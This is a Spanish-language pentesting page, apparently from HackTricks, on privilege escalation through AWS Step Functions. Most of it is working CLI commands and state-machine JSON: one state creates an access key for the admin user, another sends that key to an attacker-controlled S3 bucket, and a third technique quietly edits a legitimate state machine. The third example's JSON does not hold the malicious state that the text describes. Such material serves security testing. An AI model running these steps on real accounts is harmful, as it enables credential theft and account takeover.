AWS - Step Functions Privesc

Apoya a HackTricks

Step Functions

Para más información sobre este servicio de AWS, consulta:

AWS - Step Functions Enum

Recursos de Tarea

Estas técnicas de escalada de privilegios van a requerir el uso de algunos recursos de funciones de paso de AWS para realizar las acciones de escalada de privilegios deseadas.

Para verificar todas las acciones posibles, puedes ir a tu propia cuenta de AWS, seleccionar la acción que te gustaría usar y ver los parámetros que está utilizando, como en:

O también puedes ir a la documentación de la API de AWS y revisar la documentación de cada acción:

states:TestState & iam:PassRole

Un atacante con los permisos states:TestState y iam:PassRole puede probar cualquier estado y pasar cualquier rol de IAM a él sin crear o actualizar una máquina de estados existente, lo que permite el acceso no autorizado a otros servicios de AWS con los permisos del rol. potencialmente. Combinados, estos permisos pueden llevar a acciones no autorizadas extensas, desde manipular flujos de trabajo para alterar datos hasta filtraciones de datos, manipulación de recursos y escalada de privilegios.

aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Los siguientes ejemplos muestran cómo probar un estado que crea una clave de acceso para el admin usuario aprovechando estos permisos y un rol permisivo del entorno de AWS. Este rol permisivo debería tener asociada alguna política de alto privilegio (por ejemplo arn:aws:iam::aws:policy/AdministratorAccess) que permita al estado realizar la acción iam:CreateAccessKey:

  • stateDefinition.json:

{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Comando ejecutado para realizar el privesc:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Impacto Potencial: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Un atacante con states:CreateStateMachine & iam:PassRole podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (states:TestState & iam:PassRole), esta no se ejecuta por sí misma, también necesitarás tener los permisos states:StartExecution o states:StartSyncExecution (states:StartSyncExecution no está disponible para flujos de trabajo estándar, solo para máquinas de estados expresas) para iniciar una ejecución sobre la máquina de estados.

# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Los siguientes ejemplos muestran cómo crear una máquina de estados que crea una clave de acceso para el admin usuario y exfiltra esta clave de acceso a un bucket S3 controlado por un atacante, aprovechando estos permisos y un rol permisivo del entorno de AWS. Este rol permisivo debería tener asociada cualquier política de alto privilegio (por ejemplo arn:aws:iam::aws:policy/AdministratorAccess) que permita a la máquina de estados realizar las acciones iam:CreateAccessKey y s3:putObject.

  • stateMachineDefinition.json:

{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Comando ejecutado para crear la máquina de estados:

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Comando ejecutado para iniciar una ejecución de la máquina de estados creada previamente:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

El bucket S3 controlado por el atacante debe tener permisos para aceptar una acción s3:PutObject de la cuenta víctima.

Impacto Potencial: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.

states:UpdateStateMachine & (no siempre requerido) iam:PassRole

Un atacante con el permiso states:UpdateStateMachine podría modificar la definición de una máquina de estados, pudiendo agregar estados adicionales sigilosos que podrían resultar en una escalada de privilegios. De esta manera, cuando un usuario legítimo inicia una ejecución de la máquina de estados, este nuevo estado sigiloso malicioso se ejecutará y la escalada de privilegios será exitosa.

Dependiendo de cuán permisivo sea el Rol IAM asociado a la máquina de estados, un atacante se enfrentaría a 2 situaciones:

  1. Rol IAM Permisivo: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política arn:aws:iam::aws:policy/AdministratorAccess adjunta), entonces el permiso iam:PassRole no sería necesario para escalar privilegios, ya que no sería necesario actualizar también el Rol IAM, con la definición de la máquina de estados es suficiente.

  2. Rol IAM No Permisivo: En contraste con el caso anterior, aquí un atacante también requeriría el permiso iam:PassRole ya que sería necesario asociar un Rol IAM permisivo a la máquina de estados además de modificar la definición de la máquina de estados.

aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Los siguientes ejemplos muestran cómo actualizar una máquina de estados legítima que solo invoca una función Lambda HelloWorld, para agregar un estado adicional que añade al usuario unprivilegedUser al grupo IAM administrator. De esta manera, cuando un usuario legítimo inicia una ejecución de la máquina de estados actualizada, este nuevo estado malicioso y sigiloso se ejecutará y la escalada de privilegios será exitosa.

Si la máquina de estados no tiene un rol IAM permisivo asociado, también se requeriría el permiso iam:PassRole para actualizar el rol IAM con el fin de asociar un rol IAM permisivo (por ejemplo, uno con la política arn:aws:iam::aws:policy/AdministratorAccess adjunta).

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Comando ejecutado para actualizar la máquina de estados legítima:

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Impacto Potencial: Ejecución y manipulación no autorizada de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.

Apoya a HackTricks

Last updated